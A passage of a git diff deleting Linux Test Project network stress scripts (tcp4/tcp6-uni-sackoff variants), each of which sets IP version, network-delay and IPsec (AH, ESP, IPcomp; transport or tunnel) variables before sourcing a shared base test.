File: -# tcp4-uni-sackoff02 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp4-uni-sackoff02 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff03 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff03 deleted file mode 100644 index 9d3b41c0..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff03 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-sackoff03 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp4-uni-sackoff03 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff04 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff04 deleted file mode 100644 index 7167d04c..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff04 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-sackoff04 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp4-uni-sackoff04 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff05 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff05 deleted file mode 100644 index 850652ae..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff05 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-sackoff05 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp4-uni-sackoff05 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff06 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff06 deleted file mode 100644 index 50326462..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff06 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-sackoff06 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp4-uni-sackoff06 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff07 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff07 deleted file mode 100644 index 828c21d0..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff07 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-sackoff07 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp4-uni-sackoff07 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff08 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff08 deleted file mode 100644 index c131a462..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff08 +++ /dev/null @@ -1,61 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-sackoff08 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - Network is delayed -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp4-uni-sackoff08 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff09 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff09 deleted file mode 100644 index b1e5bb06..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff09 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-sackoff09 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - Network is delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp4-uni-sackoff09 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff10 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff10 deleted file mode 100644 index 793eb4dd..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff10 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-sackoff10 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - Network is delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp4-uni-sackoff10 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff11 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff11 deleted file mode 100644 index c9815709..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff11 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-sackoff11 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - Network is delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp4-uni-sackoff11 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff12 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff12 deleted file mode 100644 index 9c78ec6c..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff12 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-sackoff12 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - Network is delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp4-uni-sackoff12 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff13 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff13 deleted file mode 100644 index 78acf66b..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff13 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-sackoff13 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - Network is delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp4-uni-sackoff13 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff14 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff14 deleted file mode 100644 index de342ee2..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff14 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-sackoff14 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - Network is delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp4-uni-sackoff14 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff01 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff01 deleted file mode 100644 index 9e8e0d6c..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff01 +++ /dev/null @@ -1,61 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-sackoff01 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - The version of IP is IPv6 -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp6-uni-sackoff01 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff02 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff02 deleted file mode 100644 index 126f27a9..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff02 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-sackoff02 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - The version of IP is IPv6 -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp6-uni-sackoff02 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff03 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff03 deleted file mode 100644 index 609b69bb..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff03 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-sackoff03 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - The version of IP is IPv6 -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp6-uni-sackoff03 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff04 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff04 deleted file mode 100644 index 94df737e..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff04 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-sackoff04 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - The version of IP is IPv6 -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID 